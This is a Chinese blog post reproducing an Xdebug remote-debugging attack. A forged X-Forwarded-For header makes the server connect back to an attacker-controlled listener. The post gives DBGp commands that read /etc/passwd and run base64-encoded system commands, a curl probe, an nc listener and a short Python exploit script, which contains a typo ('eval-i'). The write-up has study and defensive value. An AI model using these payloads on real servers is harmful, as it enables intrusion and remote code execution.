xdebug的一些攻击面

前言

偶然看到一篇关于利用xdeubg执行命令的文章,觉得挺有意思的,简单复现一下利用过程,做一个记录,原理性的东西就不多讲了

原理简介

xdebug是调试php代码的工具,遵循DBGp协议。其工作原理大概如下(搬运):

  • IDE(如phpstorm)已经集成了一个遵循DBGp的Xdebug插件,当开启它的时候,会在本地开一个xdebug调试服务,监听在调试所设置的端口上,默认是9000,这个服务会监听所有到9000端口的连接。在phpstorm中,位于:工具栏>run>Start / Stop Listening for PHP Xdebug Connetions

  • 当浏览器发送一个带XDEBUG_SESSION_START的参数的请求到服务器时,服务器接手后将其转到后端的php处理,如果php开启了xdebug模块,则会将debug信息转发到客户端IP的IDE的调试端口上。

另外,xdebug是需要不是伴随着php的,要使用他,需要我们自行安装,可费劲er了。当然我们可以直接到docker hub上找现成的环境。

安装完xdebug你以为就结束了吗,没有!我们还需要对xdeubg进行配置,网上大多数的教程都是说在php.ini里配置,但是我使用的这个docker环境,xdebug是有一个单独的配置文件的,我就直接在这里面配置了(其实docker环境已经配置的差不多了,我只是按需修改了一下)

我的配置文件如下:

zend_extension=xdebug.so
xdebug.idekey="PHPSTORM"
xdebug.remote_enable=1
xdebug.remote_autostart=0
xdebug.remote_connect_back=1
xdebug.remote_port=9000

几个常见配置解释

设置调试工具

xdebug.idekey="PHPSTORM"

绑定远程调试主机地址

xdebug.remote_host=localhost

远程主机监听的端口

xdebug.remote_port=9000

开启回连

xdebug.remote_connect_back = 1

开启xdebug

xdebug.remote_enable = 1

经过上面的描述,你应该大概了解到其实php的调试是通过客户端、服务端经过DBGp协议通信来协调实现的,这也是为什么php支持远程调试的原因,既然可以远程通信,肯定是需要知道对方的地址的,而xdebug又有两种方式来确定ide的地址,一种是固定ip的方式,另一种就是非固定ip的方式

固定ip方式就是直接在配置xdeubg配置文件或者php.ini里写死IDE的公网地址,这样我们是不能利用的。配置里会有类似下面这两项:

xdebug.remote_host=localhost
xdebug.remote_port=9000

另一种方式就是自动回连到请求地址,配置会出现下面这一项:

xdebug.remote_connect_back = 1

而自动回连的ip地址是来自下面这几处:

  1. xdebug.remote_addr_header

  2. X-Forwarded-For

  3. Remote-Addr

我们知道xff头是可以控制的,所以就算配置了其他的两个,也没有关系,照样可以连接到我指定的ip地址上,这不就出大问题了吗

利用条件

xdebug.remote_connect_back = 1 //开启回连 并且此选项开启时,xdebug会忽略xdebug.remote_host

直接把客户端ip当作回连ip,也就是谁访问它,谁就是回连ip

xdebug.remote_enable = 1 //开启xdebug

xdebug.remote_log = /tmp/test.log

DBGp协议(搬运)

source

source -i transaction_id -f fileURI

transactionid 貌似没有那么硬性的要求,每次都为 1 即可,fileURI 是要读取的文件的路径,需要注意的是,Xdebug 也受限于 openbasedir。

利用方式

source -i 1 -f file:///etc/passwd

还可以利用php://filter ssrf等

脚本里面要这样写

conn.sendall('source -i 1 -f %s\x00' % data)

eval

eval -i transaction_id -- {DATA}

{DATA} 为 base64 过的 PHP 代码。利用方式(c3lzdGVtKCJpZCIpOw== == system(“id”);):

eval -i 1 – c3lzdGVtKCJpZCIpOw==

脚本里面要这样写

conn.sendall('eval -i 1 -- %s\x00' % data.encode('base64'))

还有一些其他协议可用,这里就不一一搬运了,2333333

攻击方式

前置知识差不多了,那么要如何利用呢,首先我们发送如下请求,探测目标是否开启了xdeubg并支持回连

curl http://localhost:8123/joomla346/index.php?XDEBUG_SESSION_START=123 -H "X-Forwarded-For:172.17.0.1"

其中xff在真实环境下应该设置为你的公网ip,你公网vps需要监听9000端口(默认是9000端口,目标服务器的xdebug也可能回连其他端口吧~)

nc -lvvp 9000

如果vps收到如下请求,则表示问题存在

在这里插入图片描述
然后我们可以写个利用脚本:

import socket
 
ip_port = ('0.0.0.0',9000)
sk = socket.socket()
sk.bind(ip_port)
sk.listen(10)
conn, addr = sk.accept()
 
while True:
    client_data =conn.recv(1024)
   	print(client_data)
 
    data =raw_input('>> ')
    conn.sendall('eval-i 1 -- %s\x00' % data.encode('base64'))

上面这个脚本就是利用eval命令执行php代码,我们可以通过输入system(命令)的方式执行系统命令

参考

https://blog.spoock.com/2017/09/19/xdebug-attack-surface/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章